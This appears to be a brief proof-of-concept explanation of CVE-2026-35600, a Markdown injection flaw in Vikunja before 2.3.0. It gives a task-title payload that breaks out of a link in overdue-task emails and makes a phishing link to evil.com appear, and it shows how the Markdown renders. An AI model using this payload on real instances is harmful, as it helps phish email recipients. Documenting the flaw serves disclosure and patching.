CVE-2026-35600 Vikunja Markdown注入漏洞

# PoC Concept for CVE-2026-35600 # Target: Vikunja < 2.3.0 # 1. Attacker creates a task with a malicious title. # The email template uses the title inside a Markdown link, e.g., [$title](task_url). # To inject a phishing link, we need to break out of the existing link structure. malicious_payload = "](https://evil.com/phishing)[Click Here for Reward" # 2. When the overdue email is generated, the Markdown source looks like: # [](https://evil.com/phishing)[Click Here for Reward](https://vikunja.example.com/task/1) # 3. The Markdown parser interprets this as: # - A link with text "" pointing to "https://evil.com/phishing" # - Text "[Click Here for Reward]" # - A link pointing to the actual task. # 4. The victim sees a link pointing to evil.com in the email.